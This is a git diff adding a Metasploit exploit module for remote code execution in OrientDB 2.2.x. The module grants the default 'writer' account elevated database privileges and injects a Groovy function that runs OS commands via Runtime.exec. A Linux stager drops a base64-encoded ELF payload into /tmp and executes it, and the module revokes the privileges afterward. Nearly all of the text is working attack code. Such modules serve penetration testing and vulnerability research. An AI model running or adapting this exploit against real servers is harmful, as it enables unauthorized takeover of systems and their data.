diff --git a/modules/exploits/multi/http/orientdb_exec.rb b/modules/exploits/multi/http/orientdb_exec.rb new file mode 100644 index 0000000000..0ba59a7542 --- /dev/null +++ b/modules/exploits/multi/http/orientdb_exec.rb @@ -0,0 +1,258 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OrientDB 2.2.x Remote Code Execution', + 'Description' => %q{ + This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. + All versions from 2.2.1 up to 2.2.22 should be vulnerable. + }, + 'Author' => + [ + 'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC + 'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'], + ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'], + ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'] + ], + 'Platform' => %w{ linux unix win }, + 'Privileged' => false, + 'Targets' => + [ + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['debug_asm','debug_write','vbs','certutil']}] + ], + 'DisclosureDate' => 'Jul 13 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(2480), + OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]), + OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]), + OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ]) + ]) + end + + def check + uri = target_uri + uri.path = normalize_uri(uri.path) + uri.path << "/" if uri.path[-1, 1] != "/" + res = send_request_raw({'uri' => "#{uri.path}listDatabases"}) + if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./ + print_good("Version: #{res.headers['Server']}") + return Exploit::CheckCode::Vulnerable + else + print_status("Version: #{res.headers['Server']}") + return Exploit::CheckCode::Safe + end + end + + def http_send_command(cmd, opts = {}) + # 1 -Create the malicious function + func_name = Rex::Text::rand_text_alpha(5).downcase + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, + 'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}" + } + res = send_request_raw(request_parameters) + if not (res and res.code == 201) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to create the malicious function.') + return + end + end + # 2 - Trigger the malicious function + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, + 'data' => "" + } + req = send_request_raw(request_parameters) + if not (req and req.code == 200) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to trigger the malicious function.') + return + end + end + # 3 - Get the malicious function id + if res && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["@rid"] + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.') + return + end + end + func_id = json_body.slice(1..-1) + # 4 - Delete the malicious function + request_parameters = { + 'method' => 'DELETE', + 'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "" + } + rer = send_request_raw(request_parameters) + if not (rer and rer.code == 204) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to delete the malicious function.') + return + end + end + end + + def java_craft_runtime_exec(cmd) + decoder = Rex::Text.rand_text_alpha(5, 8) + decoded_bytes = Rex::Text.rand_text_alpha(5, 8) + cmd_array = Rex::Text.rand_text_alpha(5, 8) + jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\\\"#{Rex::Text.encode_base64(cmd)}\\\");\\n" + jcode << "String [] #{cmd_array} = new String[3];\\n" + if target['Platform'] == 'win' + jcode << "#{cmd_array}[0] = \\\"cmd.exe\\\";\\n" + jcode << "#{cmd_array}[1] = \\\"/c\\\";\\n" + else + jcode << "#{cmd_array}[0] = \\\"/bin/sh\\\";\\n" + jcode << "#{cmd_array}[1] = \\\"-c\\\";\\n" + end + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \\\"UTF-8\\\");\\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});" + jcode + end + + def on_new_session(client) + if not @to_delete.nil? + print_warning("Deleting #{@to_delete} payload file") + execute_command("rm #{@to_delete}") + end + end + + def execute_command(cmd, opts = {}) + vprint_status("Attempting to execute: #{cmd}") + @uri = target_uri + @uri.path = normalize_uri(@uri.path) + @uri.path << "/" if @uri.path[-1, 1] != "/" + res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["databases"] + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + else + print_error("Timeout or unexpected response...") + return + end + targetdb = json_body[0] + http_send_command(cmd,targetdb) + end + + def linux_stager + cmds = "echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(4+rand(4)) + execute_command("touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("chmod +x /tmp/#{file}") + execute_command("rm /tmp/#{file}.b64") + execute_command("/tmp/#{file}") + @to_delete = "/tmp/#{file}" + end + + def exploit + @uri = target_uri + @uri.path = normalize_uri(@uri.path) + @uri.path << "/" if @uri.path[-1, 1] != "/" + res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["databases"] + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + else + print_error("Timeout or unexpected response...") + return + end + targetdb = json_body[0] + privs_enable = ['create','read','update','execute','delete'] + items = ['database.class.ouser','database.function','database.systemclusters'] + # Set the required DB permissions + privs_enable.each do |priv| + items.each do |item| + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "GRANT #{priv} ON #{item} TO writer" + } + res = send_request_raw(request_parameters) + end + end + # Exploit + case target['Platform'] + when 'win' + print_status("#{rhost}:#{rport} - Sending command stager...") + execute_cmdstager(flavor: :debug_asm) + when 'unix' + print_status("#{rhost}:#{rport} - Sending payload...") + res = http_send_command("#{payload.encoded}","#{targetdb}") + when 'linux' + print_status("#{rhost}:#{rport} - Sending Linux stager...") + linux_stager + end + handler + # Final Cleanup + privs_enable.each do |priv| + items.each do |item| + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "REVOKE #{priv} ON #{item} FROM writer" + } + res = send_request_raw(request_parameters) + end + end + end +end +